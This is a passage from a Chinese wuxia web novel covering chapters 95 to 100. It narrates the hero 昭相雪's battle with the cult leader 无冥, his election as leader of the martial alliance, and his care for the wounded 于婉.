草球之中,于吉已然身受重伤,但却也未有丝毫懈怠,将内力灌入拂尘之中,想要冲破包围,霎时间,草球被撑得很大,但遗憾的是,最终,草球落在了土剑之上,于吉并没有突破那里三层外三层的草网包裹。 而于吉身后的七大门派,个个身困力疲,内力耗尽,完全没有挽救之计, 骷魅看着此势,摇摇头,冷哼一声。 “太平道法第四重——扶摇招风!”土剑之下,竟凭空刮出一阵龙卷风直接将土剑击散,接着将于吉托在上空,防止他落下,与此同时,于吉也正好攒足了内力,冲破了草球的包围,向后退去,退到七大门派阵前。 而当下,众人皆向骷魅后方看去,只见一少年抱着一女子缓缓走来,少年身上包着一层坚硬的内力波,十分瘆人,而魅影教徒则根本近不了身,向两旁闪去,竟直接让出一个通道来。 骷魅显然也感受到了身后那股强劲的内力波,转身看去,这少年他认识,正是之前尚未真正交过手的昭相雪。 “想不到,你的内力如此强劲,说起来,我还没有认真和你打过一场,我乃魅影教主无冥,小兄弟,你可有名号?” “江湖一散人——昭相雪。”昭相雪冷冷答罢,一边抱着于婉,一边向七大门派走去。途中经过骷魅,在强劲的内力压迫之下,骷魅竟不知觉的向旁移了几步。 见是于婉受伤,于吉大惊,立马上前接应,昭相雪将于婉托付给于吉后,转过身怒视着骷魅,冷言道:“你惹了不该惹的人!” 无冥冷哼一声,不以为然,一个瞬身术便闪到昭相雪身后,和之前生擒昭相雪一般,毫不费力! 与上次不同,这次,无冥竟欲直接杀死昭相雪,长镰一挥,径直向昭相雪的颈部指去,昭相雪的武艺平平,此时想要躲闪是完全不可能的,但躲不过,并不代表打不过。说句不夸张的话,火力全开的昭相雪,未必不能与无冥一战! 只见昭相雪身上包裹的内力再次增强,无冥竟直接被昭相雪的内力罩给震退出五米远,几欲倒地! 无冥拍拍身上尘土,有些狼狈,再看昭相雪,刚才虽已用了大量内力,但他身上的内力罩却丝毫未消减半分。骷魅一脸惊奇,喃喃道:“百年过后的中原武林,可真是人才辈出啊!”话罢,无冥再次化作一团黑烟,使用瞬身术,闪到昭相雪后方上空。 “黄沙漫!”一股沙柱从昭相雪脚下窜起,瞬间将昭相雪举至二十多米高空,速度极快,竟直接将昭相雪从那内力罩中剥离。“黄沙卸魂掌!”只见沙柱之中再窜出一只巨型沙掌,向昭相雪拍去。 昭相雪一边跳起,一边挥掌向下格挡,略费小力,将那沙掌压散在沙柱中,此时沙柱仍在上窜,已将昭相雪升到四十多米高空,同时,沙柱还在不停的分离沙掌,从上下左右各个角落围攻昭相雪,昭相雪见状,再次用内力筑起一个能量罩,紧接着在里面施展起功法:“太平道法第五重——磅礴唤雨!”霎时间,狂风四起,乌云蔽日,天上下起猛烈暴雨来,沙柱在雨水的冲洗下,向旁倾倒。昭相雪顺着沙柱的倾倒,巧妙落下。 “阡草延。” 在昭相雪离地还有两三米时,无冥突然施展功法,接着,野草疯长,将昭相雪层层围住,无冥一个瞬身术闪到草球之前,举起长镰便要刺死昭相雪。 但昭相雪此时的内力可比于吉强多了,这小小的草球哪能困住他,只见草球之内白光四射,闪耀无比,瞬息间便撑破了草球,昭相雪朝无冥急挥一掌,无冥见掌风强劲,不敢费力硬接,一个瞬身术躲过。 “有趣,明明应该已经耗费了大半内力了,可他看起来却还是一副精力充沛的样子。”无冥退至一旁,喃喃道。 此时,昭相雪身上包裹着一层银白色的内力罩,这种内力罩,江湖人几乎是闻所未闻、见所未见,当下皆面面相觑、满脸惊讶,魅影教、幽狼派的一些人更是不自觉的向后退了两步。 一旁的谷月清看着满身银光的昭相雪,摇摇头,满脸惊奇,自言自语道:“不可能,绝不可能!” “谷掌门,难不成,你认得那少年功法?”谷月清身旁的浮生长老问道。 谷月清摇摇头,没有回答。 看着昭相雪身上的灵力罩,无冥冷冷一笑:“看来,天底下的奇人不止一个呢!” 显然,眼前这个昭相雪的实力已经出乎了无冥的想象,不过,这还不足以让其畏惧半分,无冥握紧双拳,冷冷说道:“中原武林嚣张百年了,今天,是该还债的时候了,万幻影决第九重——天下大同!”无冥一边施展功法,一边朝前做出一个进攻的手势,当下,魅影教、幽狼派皆向七派杀去。与此同时,黄沙漫天,众人视野变得极其模糊,场面十分混乱。 这时,昭相雪脚下,几团草藤突然窜起,抓住昭相雪双脚,昭相雪正要挥掌击断草藤,却隐约看到骷魅闪到了身前,并朝自己挥出两掌来,昭相雪急忙挥掌朝前打去,然而,前面那个骷魅只是一道残影,幻象,他的真身并不在前面,而在,昭相雪身后。 无冥举起长镰便向昭相雪颈部挥去,此时的昭相雪也察觉到了后方的危险,但眼下他双脚被藤蔓抓住完全躲闪不开,可以说,局势对无冥十分有利,但尴尬的是,长镰被那白色的内力罩给挡下了,只听“砰”的一声,长镰和那内力罩撞在一起,内力罩被砍出一个小小的裂缝来,无冥注入更多内力。意图刺穿内力罩,镰罩持续相接,裂缝确实大了不少,但那冥阎长镰也因持续相接,顶端被磨钝不少。无冥见了,脸上闪过一丝诧异的表情,要知道,这冥阎长镰的材质可不简单,乃是从泰山玄铁中提炼出的少量极品精铁打照,要说被玄冥剑给磨耗了倒也不怪,而眼下,居然被这小小的内力罩给磨损了些,传出去,怕是只有傻子才会信。 第九十六章 天雷,寂灭! 眼下,无冥经过几场恶战,内力损耗了不少,想要刺破这能量罩,怕是不容易,更诡异的是,那能量罩居然开始自愈了,裂痕居然缓缓融合起来,无冥大惊,与此同时,昭相雪也将内力注入脚上,将那些藤蔓尽数争断,回身便朝无冥拍去一掌。 无冥内力不足,不敢硬接,只好收回长镰,瞬身退开,来硬的不行,那就来柔的。无冥左手五指大张,指尖弯起,朝昭相雪方向一推,只见昭相雪脚下的砂石突然快速流动,宛若江河流动一般,瞬息之下,砂石已淹没了昭相雪大半条腿了,昭相雪还想挣扎着从流沙中跳起,但一切都是徒劳,无冥看着昭相雪,左手向下缓重压去,流沙的范围更大了,流速也更快了,数息便漫至昭相雪腰间,接着无冥右手挥镰向前一指,藤蔓再次疯长,扯住昭相雪的双手,又交错成一张巨大草网,将昭相雪包裹在内,进一步限制了昭相雪的反抗。昭相雪还想着使出太平道法第四重,扶摇招风,将自己从流沙中吹起来,但显然,眼前这个无冥,并不想给他反抗的机会。 很快,昭相雪整个人连着草网一起被淹没在流沙中。 见此情形,魅影教派这边一边欢呼,皆高呼教主神勇,而七大门派这边则垂头丧气,毫无战意,这时,于吉低着头,将于婉交给了青菱师太,接着转过身去,左手捂着受伤的后背,右手拂尘一挥,一柄虚剑飞出,于吉跳上虚剑,向无冥、昭相雪他们飞去。 “这人看起来,好熟悉啊。”杜菱看着于吉喃喃道。再低下头看于婉,才发现于婉颈部受伤了,被碎布简单包裹着。不禁失声喊道:“婉儿,婉儿。”眼下婉儿身受重伤,陷入昏迷,哪是杜菱能轻易喊醒的。 看到重伤的于婉,展平也是怒不可遏,大喊道:“骷魅,我杀了你。”话罢便从地上站起,欲运功向骷魅击去,但半步都没走到,便口吐鲜血,向下跪去,此时的展平内力耗尽,哪儿还有半分内力去对抗骷魅。 “展大侠别急,让我来看看吧。”杜济一边说着,一边向杜菱走来,见是百药宗药门门主杜济,杜菱心情平复了些,给杜济让出位置来。 再看无冥这边,于吉和七派中几个高手向无冥击去,无冥瞬身术一施,这些人完全不是他的对手,而眼下身受重伤的于吉也没能像之前一样,巧妙躲过进攻,被无冥一掌再拍中后背,跌倒在地,而昭相雪这边,流沙仍在继续流动、下陷着,只见那层银色的能量罩窜入流沙之中,流沙的流速渐渐缓慢起来。 谷月清摇了摇头,喃喃道:“完了,一切都完了。”话音刚落,流沙之下,银光四射,一声巨响,地下凹出一个大坑来,昭相雪从坑里跳起,身上居然没有沾到丝毫尘土。但不妙的是,那层银白色的能量罩消失不见了,没有一丝痕迹可寻,仿佛从来没有出现过一般。 太平清领书第一重——借天,之所以叫借天,正是因为它能自然而然借用外物灵力形成一个防护罩,而不需要昭相雪先吸收,再转化,再使用,这也正是之前能力罩在无冥的攻击之下能自动愈合的原因,这个功法攻击性很低,但防御性却很高,但它有一个弊端——不能用它来大量攻击外物,前面说了,这层能量罩的功力全部来自外物的灵力,所以,如果使用者将它来大量攻击外物,那便会陷入一个死循环过程,一边吸收外物灵力一边攻击外物,那么,当两股功力向当时,能量罩便会和外物的灵力一起消散,这样做的坏结果不仅仅是那能量罩消失不见,同时,太平清领功法中的,吸收外力以自用的功法也将无法施展,因为周围的灵力都被用光了,至少,短时间内,昭相雪是别想借用外力了,当然,昭相雪可以转移战地,但眼下七派被为围困此地,七派中,一个能打的都没有,他走了,谁能挡住眼前大杀四方的无冥? 更糟糕的是,没了外力护体,昭相雪也已经不再是无冥对手了。 见昭相雪身上没来能量罩,无冥也不着急进攻了,调侃道:“怎么?终于内力用完了?我还以为你的内力用不完呢!我这长镰的速度可是极快的,你不用内力罩,估计躲不过我一招,还有多少内力,赶紧使出了吧!” 昭相雪回头看了看七派,主要是看了看于婉,苦笑起来,回头说道:“我们谈个条件吧,我的命你拿去就好,但请把他们放了。” 无冥大笑起来:“笑话,你有什么资格和我谈条件。”接着冷冷说道:“今天,你会葬身于此,他们,同样!”话罢,化作一团黑烟消失。 昭相雪倒吸一口凉气,再施功法,将一半内力分出,化作一个能量罩来,眼下昭相雪内力还有八成左右,所以,这能量罩的防御还算不错,无冥长镰一砍,能量罩出现一个小裂痕来,但问题不大,此时,无冥的内力消耗巨大,要想破罩,怕是得再来个七八下才行。 内力罩内的昭相雪并没闲着,再施起功法来:“太平道法第五重——磅礴唤雨。”天上乌云密布,骤雨急下,瞬间将在场所有人都淋湿了,但也仅仅只是淋湿罢了,完全没有一点儿伤害。 无冥一脸迷惑,要知道,昭相雪此时身上的这层内力罩相比之前的所有内力罩都要低弱一些,昭相雪不将内力补在这内力罩上,反而是浪费内力,招来这无用的大雨,这是何意?无冥摇摇头,不得其解。 但场上的七派可知其意,有的面带惧色、惊恐绝望,而有的则一脸平和端坐在地、笑看上天,当然也有的新手一脸懵逼,不知何意。要想知道昭相雪何意,无冥不妨问问死去的张角吧,或者,他也可以亲身体验一下。 “以我精血为引,以我肉身为躯,天雷!寂灭!”只见天空之上,电闪雷鸣,响声四起,仿佛要降下万股天雷一般! 这下,无冥终于知道昭相雪为何说要谈条件了,眼下,他确实够资本谈条件。 “你这个疯子,你以为靠这区区天雷便能挡住我?笑话!”无冥不屑一笑,正欲施展功法,突然狂风大作,沙石蔽天! 沙雾中,一老者立于无冥身前。 无冥看了两眼,眼神闪过一丝迟疑:“你居然也在!怎么,你要背叛我?” 老者身着墨色长袍,冷言道:“此少年于我有大用,还请教主高抬贵手。” 无冥有些怒色,打量了老者几眼:“可惜这幅躯体离我全盛时的功力相差甚远,否则!”无冥有些不甘,但终究还是妥协了:“也罢,我正好需要些时间重新了解下这个世界。” 老者点点头:“前辈大义,晚辈还有个,若是有机会,还请前辈不吝赐教!” 无冥大惊:“你知道我的来历?” 老者十分平静,并不回答,化作一缕黑烟,凭空消散。 片刻后,天空依然雷云密布,但场上的风沙已然褪去,无冥怒目视着昭相雪:“昭相雪,算你的命大,下次再遇见,我必亲手杀之!”接着无冥回身,高呼左右撤退,紧接着,魅影教和幽狼派众悉数退去。 第九十七章 新盟主,确认 魅影教与幽狼派的教众终于退去,局面总算是稳定下来,昭相雪上前扶起于吉,向七派走去,七派人皆是精疲力竭、漫身狼狈像,但都强撑着站了起来,向昭相雪作揖道谢。 于吉向昭相雪作揖道谢后,向河边走去,长剑一挥,一柄木制巨剑和七柄虚剑凭空冒出。那柄木剑自是架在了大河之上,另外七柄虚剑则向远方飞去,接着纵身一跳,跳到了最后一柄虚剑上,随着虚剑远去。 谷月清看着那老者离去的背影,微微的摇了摇头,轻叹一声。 众派也不纠缠,快速打扫了战场,扶着伤员有序过了木桥…… 夜晚时分,众人架着篝火聚在乌桓与中原的边境处,各派掌门、高手围坐在一起,皆心事重重,不发一言。 眼下局面,对中原武林极为不利,眼下,魅影教主骷魅已然突破万幻影诀第九重,窥入化境,而中原武林这边,唯一能打的渊龙杖法和凌空剑法联合技也因秋殇一叶的重伤而无法再施展,好不容易突破云霄九剑第九式的谷月清当下也是元气大伤无力再战,而青菱师太的白菱神功虽然号称天下无敌,威力巨大,但它的速度太慢,骷魅身法极快,根本攻击不到他的本体。同样的,昭相雪虽内力深厚,但骷魅根本不会和他比拼内力,所以,同样对骷魅也没用。 “眼下,盟主谷月清元气大伤,估计三年内都无法痊愈,如今乃是多事之秋,依照盟规,当重新选出一有谋有武之人代之。”蔡彧先发一声,打破沉默。 众人你看我,我看你,皆摇摇头,没有主意。 杜济见无人答话,便先说了说自己的意见:“如今秋殇大师与谷掌门皆元气大伤,重伤难愈,选出新的盟主确实是极为必要的,依我之见,青菱师太白菱神功盖世,掌管豫蛇教十几年,有武有谋,当是这武林盟主的不二人选!” 蔡彧点了点头,但没有答话,而是看向了别处。 杜菱一听杜济要推举自己当选盟主,立马摇头摆手婉拒起来:“杜门主说笑了,要论武功那还算勉强,要论谋略,在坐各位,哪个不比我强?” “青菱师太言重了,谋略只是一方面,最主要的是武学,现在,白菱神功乃是七派中最强的武学,眼下乃是非常时期,师太就别再推辞,寒七派弟子的心了。” 杜菱很是尴尬,想摇头拒绝,却又不知该说何理由推辞,见杜菱面露难色,展平解围道:“眼下,魅影教嚣张跋扈,阴险狡诈,危害的范围早已不止七派,武林人士皆深受其害!我觉得,如果要找出一个能抗衡骷魅的人,不一定必须在七派中找,江湖散人若有勇有谋,也未尝不可为盟主人选。”展平说道。 蔡彧领会其意:“展大侠说的对啊,如今事态的发展早已超乎了我等的控制,受到威胁的是整个武林,凡武林人士,只要能力足够,能使我等信服,皆可为盟主。” 众人听了,觉得有理,默默点了点头。 章玄以为展平是要推他自己当盟主,不禁发问道:“江湖上的能人异士确实不在少数,但武功高强,且品德又能让七派共同认可的却寥寥无几,展大侠要推的盟主,莫不是展大侠自己?” 展平听了大笑起来,摇了摇头:“非也,有一人比我更适。” 蔡彧亦道:“没错,确实有一人比展大侠更合适” “蔡庄主的意思,莫不是心中已有合适人选?”浮生方丈问道。 “然也。”蔡彧顿了顿又说道:“不过我想先问问谷掌门一件事。”谷月清虽然伤了元气,但这种大事肯定会坐在一边旁听的。当下见蔡彧有事要问,轻微的点了点头。 “当时,昭相雪被骷魅的妖术活埋地下时,我曾坐在谷掌门身后听见你轻声说了句’完了,全完了。’接着,昭相雪破土而出,同时,他身上的保护罩也消失不见了,要知道,他的保护罩之前在骷魅的不断攻击下尚且能自愈,可为何只与砂石撞了一下后便消失不见了。我更纳闷的是,谷掌门怎会事先料到昭相雪的保护罩会因此而消失,莫非,谷掌门知道昭相雪的功法出自何派?” 听了蔡彧的论断,众人仍是一头雾水,谷月清却笑了笑:“蔡庄主,还是瞒不过你啊,不错,我确实识得昭相雪的武学。” 众人一下来了兴趣,皆全神贯注看着谷月清。 “如果我没看错的话,乃是我派秘术《太平清领道法》” “苍临大师的太平清领道法?!”蔡彧惊问道。 谷月清轻轻点了点头。 蔡彧大笑起来,说道:“看来,中原武林有救了,我要推举之人,在冀州时就曾出手救过我等”话罢看着夫人林奕湘笑起来。 林奕湘会心一笑,领会其意:“没错,今日在那草野之上,亦多亏那位英雄相救,我等才得已生还。” 浮生方丈大笑起来,显然,他也赞同了蔡彧推荐的人选,点点头,看着其他人的反应。 其他人也都会心一笑,领会其意,皆点头认同。 此时,昭相雪正端坐在于婉身旁,全神贯注的看着她,另一边,百药宗的杜济正一边煎药,一边研究着那瓶药效奇特的青茯散成分。 昭相雪伸出双手将于婉的右手紧握在里面,垂着头,沙哑着说道:“婉儿,你怎么这么傻啊,我不过是一个负心人罢了,哪儿值得你这般为我啊!”一边说着,眼角一边落下泪来。 “快醒来好吗?婉儿,醒醒啊。” “婉儿,你说,事情为什么会发展成现在这副摸样,婉儿,我喜欢你,真的很喜欢你。” “可我还有资格再喜欢你吗,如此懦弱、畏首畏尾的我,你还能再次喜欢我吗?”昭相雪大哭起来。 第九十八章 即见君子,云胡不喜 突然,昭相雪紧握的右手动了一下,抬头看去,于婉紧闭着眼,嘴唇没有一丝血色,脸色煞白,虚弱至极,如死人一般。 但昭相雪确定,刚才于婉的右手,动了一下:“婉儿,你醒了吗?婉儿。”昭相雪握紧了于婉的双手,一个劲儿的揉搓着,但于婉却没有任何回应。 这时,杜济端着药汤过来:“昭大侠,你不要太过激动,如今于姑娘大伤未愈,不可乱动,若是伤口裂开,那可就回天无术了。”杜济叹息几声,将汤药递给昭相雪:“这碗汤药对气血的补充有奇效,你先喂她喝下吧。” “昭相雪点点头,接下汤药。用汤匙舀起一勺后,轻轻的将汤药吹温,接着小心翼翼喂于婉喝下。 一勺一勺,喂过大半,突然,身后来了一大群人,昭相雪却仍小心翼翼的服侍于婉喝药,丝毫没有察觉异样。 这些人,正是浮生方丈和青菱师太他们,众人见状皆微笑着站在一旁,并不打扰昭相雪办“正事儿。” 昭相雪一勺一勺的喂于婉喝下,自是耗时耗力不少,不过,总算是喝完了,昭相雪放下药碗,取出一张手帕轻轻擦了擦于婉的嘴角,不自觉的看着于婉笑了笑。 这时,后方杜济声音传来:“昭大侠,浮生方丈他们有事找你。” 昭相雪听了,回过头才发现,身后竟密密麻麻站了十多个人,皆抿嘴憋笑,“不怀好意”的看着昭相雪。 杜菱还坏笑着冲昭相雪点点头,竖了个大拇指,然后蹭了蹭一旁的展平,示意展平向昭相雪多学学。 场面一度十分尴尬,昭相雪立马起身尴尬的笑了笑,对众人说道:“各位前辈,找我有什么事吗?” …… 魅影教总坛: 八大堂主死了三个,左右护法具损,三大长老也一死一伤,高手尚且伤亡惨重,底层弟子更是不用多说。而幽狼派因狼主公孙皓的重伤修养而群龙无首,当下被魅影教完全吞并在一起。 大殿之上,众教徒皆端坐在地,严肃的看着骷魅。 此时说是骷魅,其实不然,说是无冥,亦不全对,但魅影教徒不知内情,还当殿主主位上坐的是骷魅。 只见,主位上的无冥发话道:“草野之战上,大家的神勇我都看到了,不错,是我魅影教的好男儿,你们都是好样的,我敬你们一杯!”话罢,无冥端起酒杯来。 殿下众人也都跟着端起酒杯:“全仗教主神功!” “来,喝酒!”无冥端起酒杯和众人隔空相碰,豪饮起来。 喝完酒,无冥挥舞衣袖,擦了擦嘴:“草野之战上,七派损失了很多精英,我派同样损失了很多精英,眼下乃多事之秋,正是用人之际,我想重新分配一下教中职位,藏榆,这是我拟定的职位,你代我宣布下吧。” “是”藏榆上前,接过竹书,无冥又小声对藏榆说了些什么,藏榆一边听着,一边点点头。交代完后,无冥便起身向后方密室走去。 “草野之战上,教主内力消耗十分严重,所以先离开休养了,教中职位的分配已经拟好,我现在便代教主告知各位。” “钦铉卸任大长老之职,代任左护法,藏榆卸任二长老之职,代任右护法。荀岐卸任白波堂主之职,代任大长老,齿猷卸任黑水堂主之职,代任二长老,徐维任三长老……” 无冥来到密室门口,轻轻抚摸着墙门,自语道:“百年了,想不到,这里的格局还是一成未变。”接着,他打开暗门,走进暗道,暗道尽头仍是一道暗门,但那道暗门却大开着,无冥立刻变得谨慎起来,跨进那道暗门,才看到里面这条长约十五米的暗道上散落着不少奇珍异宝,显然,这里已然失窃了,暗道中密密麻麻布满了脚印。无冥来不及细想,直接向藏宝室走去,果不出所料,藏宝室已是一片狼藉。无冥摇摇头,神情变得不安起来,接着他径直走到藏宝室一个角落里,在旁边的墙上摸索了一下,摸出一个机关来,果断按下,只见墙上弹出一个抽屉来,但这抽屉空空如也,什么也没有。无冥大怒,甩手丢开抽屉,又一脚踢破旁边的石凳。这万幻珠的丢失可不是小事儿,里面记载了大量武学心得和教派机密,若落入中原七派之手,后果不堪设想。 “中原七派已是元气大伤,应该翻不起什么大浪,我且休整一番,再去向他们讨要。”话罢无冥陷入沉思,静默许久才吐出一句话来:“也不知当年的我,救回她没,看来,我还得回趟琼剑山。” 第九十九章 盟主之位 乌桓与幽州边境,七派靠着一条河流扎营,已是子时,但仍是篝火通明,眼下的局势,谁也睡不着,都端坐着,或闭目养神,或小声议论,或擦拭、清洗伤口,或为逝世的亲友悲惜…… “各位前辈,我真的不行,你们让我去和骷魅单挑都可以,但你们要让我统领中原武林,我实在是办不到啊,况且,我资历浅薄,也没资格做盟主啊。” “昭大侠,你就别推辞了,你武功高强,内力深厚,又两次救中原武林于水火,如此侠义之士,怎会没资格呢!”蔡彧劝说道。 “蔡庄主所言甚是,如今天下大乱,七派元气大伤,魅影教随时可能卷土重来,若无昭大侠相助,我等将如何退敌,保中原武林安全啊。”浮生方丈劝道。 “对啊,如今受魔教威胁的早已不止中原七派,魅影教勾结乌桓人狼狈为奸,届时卷土重来,整个中原都将受到威胁啊,七派不能幸免,中原百姓也难以幸免啊。”杜济 昭相雪面露难色,不知所措,但还是默默的摇着头,挑大梁的事可马虎不得。 “此番只是暂时休战,不出半年,魅影教必会卷土重来,谷掌门、秋殇大师都伤了元气,没个三五年是好不了的,眼下,真正能与骷魅抗衡的,寥寥无几,昭大侠若不肯帮我们,届时大战再起,我等必败无疑,皆将惨死于魔教妖人屠刀之下,包括婉儿!”杜菱故意将最后一句话的音量放大了些。 “婉儿?!” “昭大侠……”章玄正要相劝,昭相雪却突然答应道:“好,我答应你们。” 见昭相雪答应任职,众人都很欣慰,齐身给昭相雪作揖谢情,昭相雪哪敢受各位前辈的大礼,自是惶恐不已,也向众人回了一躬。 夜深,各自退去,林奕湘与蔡彧表情凝重,久久没有离去。 昭相雪见两人面色难看,知非好事,也跟着面色凝重起来:“两位前辈,还有什么事吗?” “我们在魅影教总坛遭到鬼岐埋伏,李大侠……”林奕湘摇摇头,留下泪来。 “李大侠?你们说的是,青云剑客李御风李前辈?” 蔡彧点点头,劝慰道:“李御风侠肝义胆,死前除去鬼岐,配得上青云剑仙侠名!” 林奕湘:“李大侠死前给你留了句话:他希望你,永怀侠义之道!还有,这是他给你的,节哀顺变吧。” 昭相雪眼角滴下泪来,点点头,拆开信件,上面写着五个大字:御守使顾邪。 …… 第二天,天刚亮,各派弟子便都起来了,掌门间分配了任务,都动了起来,白马寺负责警戒巡视敌情,空涧庄负责搬柴生火,剑阁负责抓鱼打猎,百药宗的弟子负责照看伤员,豫蛇教的弟子负责摘野菜、取野果…… 吃过早饭后,大队一边前进,几个掌门一边聚在一起商量接下来的安排。 昭相雪道:“草野之战,我们死伤了很多弟子,然而我们现在又身处于不毛之地,药物十分稀缺,当务之急,应先派出一部分人寻回足够多的药物,稳定各派弟子的伤势,减免更多的人牺牲才是。” 蔡彧点点头:“我们伤员的移动速度极慢,以现在这个速度,到最近的城镇,至少要走三天,而我们医药严重不足,即使到了城镇,很多弟子也已是回天乏术了,盟主,你有什么安排经管吩咐吧,我们都听你的。” “对,有事你就直说吧。”浮生方丈 “那我就直说了,浮生方丈,你们白马寺的轻功高强,我想请你们白马寺的弟子做前锋,先去附近各村落收购一些药物,把各派弟子们这三天的病情挺过去再说。” “没问题,包在我们身上了。” “好,我代全体伤员,谢过白马寺了。”昭相雪作揖道。 浮生方丈立马回了个礼:“盟主客气了,这都是白马寺应该做的。” 昭相雪点了点头:“杜济那边已经罗列了需要药物的种类及大概数量,你们交接好后,当尽早出发为妙。” “是” 接着对剑阁阁主章玄说道:“白马寺现做前锋,那就有劳你们剑阁弟子做后营,防备敌军了。” 章玄拍拍胸膛说道:“没问题。” …… 大致交代完毕后,昭相雪马不停蹄照看起于婉病情。 眼下,队伍中,伤势较重,失去知觉的,被担架抬着前行;伤势较重,知觉尚存,手脚又不便的,则坐在推车上前行,伤势一般,腿脚不便的,则由同伴们背着前行…… 此时的于婉,仍是昏迷不醒,毫无知觉。 照顾于婉的,乃是豫蛇教的大师姐——江雨潇、凌云谷二弟子——枯恂。 枯恂叹息道:“哎,真希望,躺在担架上的是我,而不是小师妹。” 江雨潇闻言白了枯恂一眼,讽刺道:“你是嫌自己伤得还不够重吗?” 枯恂这才后觉,不该当江雨潇之面,说出这等话来。 枯恂立马搭住江雨潇的肩:“你这算是关心我吗?” 江雨潇面无表情,冷言道:“男女授受不亲,松开!” 枯恂假装听不见,搂得更紧了:“哎呀,咱俩谁跟谁呀,何必在意这些细节。” 江雨潇微微一笑,笑罢立马拔出佩剑来,枯恂受此一惊,立马闪至一旁:“收起来,收起来,你怎么能对一个喜欢你的绝世美男动刀动剑呢!” “再胡说八道,我削了你!”江雨潇说着便要削枯恂。 枯恂见状,弯腰作揖道:“不敢了,不敢了,娘子饶命,娘子饶命。” 江雨潇听了,瞬间脸红:“懒得理你。”话罢,收起剑,转过身去,抿嘴偷笑起来。 笑了没多久,江雨潇小步走开:“我师傅找我有事,我先走了啊。” 枯恂隆重的行了个礼:“我的小公主,路上小心。” “一天就贫嘴,没个正形。” 走了没两步,江雨潇又退了回来,塞给枯恂一瓶药,也不多话,快速跑开。 枯恂拿起药看了看,乃是一瓶活血化瘀的外敷药,药效极好,枯恂笑了笑,高声喊道:“谢谢娘子。” 江雨潇走后没多久,昭相雪快步走来,问道:“枯兄,婉儿好些了吗?” 枯恂摇了摇头:“咱们现在日夜兼程赶路,连日的颠簸,伤口哪能轻易愈合。” 昭相雪摇了摇头,连连叹息:“真希望,躺在上面的是我。” 闻听此言,枯恂先是一愣,接着若有所思的摇了摇头。 突然,昭相雪毫无预兆的施出内力来,将那担架悬浮起来,两边负责抬担架的白马寺弟子,如托薄锦一般,丝毫不费力气。 枯恂道:“昭兄,这样不妥吧,万一等会儿魔教来犯,你没有内力该如何退敌” 昭相雪摇了摇头:“没事儿,我用的内力源于自然,不会损耗我体内内力的。” 枯恂一脸懵逼,看着昭相雪,似有疑惑,却又不知哪里疑惑。 “你的伤好些了吗?别硬撑啊,这里我来照顾就好了。” 枯恂道:“我那都是小伤,不碍事,对了,你快去看看杜门主给婉儿熬的药汤熬好了没。” 第一百章 盟主失踪?! 一条溪流旁,正驻扎着两队人马,乃是百药宗与白马寺。百药宗正在煎药,白马寺则负责采集药材。 “记住白芨、槐角、马兰这类的止血药,有多少收多少,龙胆、贯众、地黄也是,有多少收多少……”杜济噼里啪啦说了一大堆,总算了说完了。 看着密密麻麻的药单,浮生方丈还怕有所遗漏,问道:“还有什么要补充的吗?” 杜济再细看了下药单:“差不多都在这上面。” 浮生点点头又问道:“对了,那位于婉姑娘的病情如何?何时能治好?” 本以为凭杜济的医术,治好于婉不会是难事儿,哪知杜济却摇了摇头:“那瓶药只够用两周,我观察于姑娘伤口的愈合速度,最快也要一个月,凶多吉少啊。” “是药量不够吗?” 杜济再摇摇头:“若是寻常人涂抹此药,一瓶至少可用两个月,但于姑娘的血液与常人有异,对药物极为敏感,吸收速度极快,而伤口愈合速度极慢,所以我在伤口上的药物用量很大,照此用量,估摸着,也就够用两周,两周之后,只怕无药可治啊。” “杜掌门别怕,不是还能管两周嘛,告诉我是什么药,我现在便去买来。” “此药名唤青茯散,制作方式与取材都极为特殊,要寻此药,只能去一个地方。”杜济顿了顿,不往下讲。 “青茯散,传闻中魔头无冥秘制的圣药?” 杜济点了点头。 “这……”浮生脸色大变,一脸难堪,低下头,不再多语,顿了片刻,抬头说道:“即便是龙潭虎穴我也去取来。”杜济拍了拍浮生的肩:“不可鲁莽,那药还够用两周,当务之急是先稳定七派众人的伤情,你先带白马寺的弟子把这药单上的这些药寻回来吧,至于这青茯散的事,我再研究研究,争取能找出药效相同的药替代它。” “既是圣药,只怕难以复刻啊!杜门主,敢问你有几成把握复刻此药?” 杜济摇摇头:“这青茯散品质确实不凡,其中几味药方,闻所未闻,至于炼制方法,更是毫无头绪,坦白来讲,不足一成,唉,这事你就别操心了,先去买药吧” 浮生叹息两声拿着药单离去,这时,后面传来一阵身响,杜济回头一看,三米之外,火炉上的药壶已被人倒空,壶上之药乃是煮给于婉补气血的。杜济见此,自是大惊失色,问道弟子:“刚才是盟主在后面吗?” “是”左右弟子回答。 “何不禀告于我。” “盟主见掌门在谈正事,所以叫我们不要打扰。” “你,哎”杜济满是悔恨,又问道:“他来了多久了。” “大约有半柱香了,刚走。” “遭了!”杜济悔恨的锤打着自己的胸膛,快步追去。 杜济急施轻功,一路快跑,总算来到枯恂面前:“枯恂,盟主呢?” “盟主?盟主不是找你拿药去了吗?”枯恂问道。 杜济再一看,枯恂手里正拿着一碗汤药:“盟主没来这儿?那你这汤药谁给的?” “这不是你差人送来的吗?” 杜济听罢叹息数声,摇了摇头,小声喃喃道:“昭相雪,现在七派的安危可全在你一念之间,你可别为了一己私情,弃中原武林于不顾啊!” “杜门主,盟主怎么了?。” 杜济苦苦一笑,摇了摇头,也不多言,自顾自的走开…… 两天后: 司州白马寺 一个老瘸子在寺门口,安静的扫着落叶。树叶一边扫,一边又落,根本清扫不完,似乎,老瘸子的一切行为只是徒劳,但老瘸子仍孜孜不倦的打扫着。老瘸子留着一头灰白长发,看上去有七十多岁,左腿残疾,穿着一身灰色僧服。 突然,一阵急风吹起,老瘸子刚扫好成堆的树叶又被风吹得四处都是,老瘸子不怒也不恼,拿起扫帚继续扫起来,这时,扫帚被人伸脚挡住,老瘸子抬头看了看这个故意“找茬”的人,没有生气,反而是微微一笑。 “找茬”的同样是个老头儿,不过,这老头儿细细看来,估摸着也是七十多岁的老者,事实上,七十岁都说少了,真实年龄已是八十有四了。 那老头儿和老瘸子相视一笑:“老伙计,这树叶扫了又落,落了又扫,你扫得这么慢,何时才扫得完啊。” “我扫的虽然慢些,但只要一直扫下去,这落叶就终有扫完的那一天,倒是你,云游四海十六年了,天下还是这般混乱,不行啊你。” “哈哈,老伙计,只要你不出去给我添乱,这世界便乱不了。”话罢老头儿大笑起来。 老瘸子听了也大笑起来:“你这话说得,好像我以前搅出过什么大乱子似的。”一边继续扫着落叶,一边说道。 “哈哈,你我心知肚明好吧。”老头儿抢下扫帚再说道:“别扫了,走,下棋去。” 老瘸子又反手将扫帚抢回,继续扫着:“还没扫完呢。” 